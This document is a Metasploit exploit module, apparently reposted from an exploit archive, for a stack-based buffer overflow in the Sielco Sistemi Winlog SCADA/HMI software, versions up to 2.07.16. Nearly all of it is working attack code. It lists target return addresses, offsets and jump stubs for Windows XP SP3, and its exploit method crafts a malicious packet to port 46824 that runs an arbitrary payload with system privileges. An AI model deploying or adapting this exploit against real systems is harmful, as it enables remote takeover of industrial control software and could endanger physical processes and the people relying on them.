Sielco Sistemi Winlog 2.07.16 - Buffer Overflow Exploit

require 'msf/core'
 
class MetasploitModule < Msf::Exploit::Remote
    Rank = GreatRanking
 
    include Msf::Exploit::Remote::Tcp
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Sielco Sistemi Winlog <= 2.07.16',
            'Description'    => %q{
                This module exploits a stack based buffer overflow
                found in Sielco Sistemi Winlog <= 2.07.16. The
                overflow is triggered during the parsing of a
                maliciously crafted packet
            },
            'Author'         => [ 'James Fitts' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: $',
            'References'     =>
                [
                ],
            'Privileged'     => true,
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Payload'        =>
                {
                    'Space' => 150,
                    'BadChars' => "\x00\x0a\x0d\x20",
                    'DisableNops' => 'True',
                    # add esp, -5500
                    'PrependEncoder' => "\x81\xc4\x84\xea\xff\xff",
                    'Compat'    =>
                        {
                            'SymbolLookup' => 'ws2ord',
                        }
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [
                        'Windows XP SP3 EN (Automatic Washing System Demo)',
                            {
                                # vcldb40.bpl
                                # jmp esp
                                'Ret' => 0x46035f8b,
                                'Offset' => 160,
                                'jmp' => "\xe9\x56\xff\xff\xff",
                            }
                    ],
                    [
                        'Windows XP SP3 EN (Car Simulation)',
                            {
                                # vcl40.bpl
                                # jmp esp
                                'Ret' => 0x4003eb6b,
                                'Offset' => 175,
                                'jmp' => "\xe9\x46\xff\xff\xff",
                            }
                    ],
                    [ 
                        'Windows XP SP3 EN (Ceramics Kiln)', 
                            { 
                                # ter19.dll
                                # push esp/ retn
                                'Ret' => 0x258b4432,
                                'Offset' => 176,
                                'jmp' => "\xe9\x46\xff\xff\xff",
                            } 
                    ],
                ],
            'DefaultTarget' => 0,
            'DisclosureDate' => 'Jun 26 2012'))
 
        register_options([Opt::RPORT(46824)], self.class)
    end
 
    def exploit
        connect
 
        boom =  rand_text_alpha_upper(20)
        boom << 'x'
        boom << rand_text_alpha_upper(target['Offset'])
        boom << [target.ret].pack('V')
        boom << "\x41" * 4
        boom << target['jmp']
        boom << "\xcc" * (281 - boom.length)
 
        boom[22,4] = "\x41" * 4
        boom[26,payload.encoded.length] = payload.encoded
 
        print_status("Trying target #{target.name}...")
        sock.put(boom)
 
        handler
    end
 
end

#  0day.today [2018-01-03]  #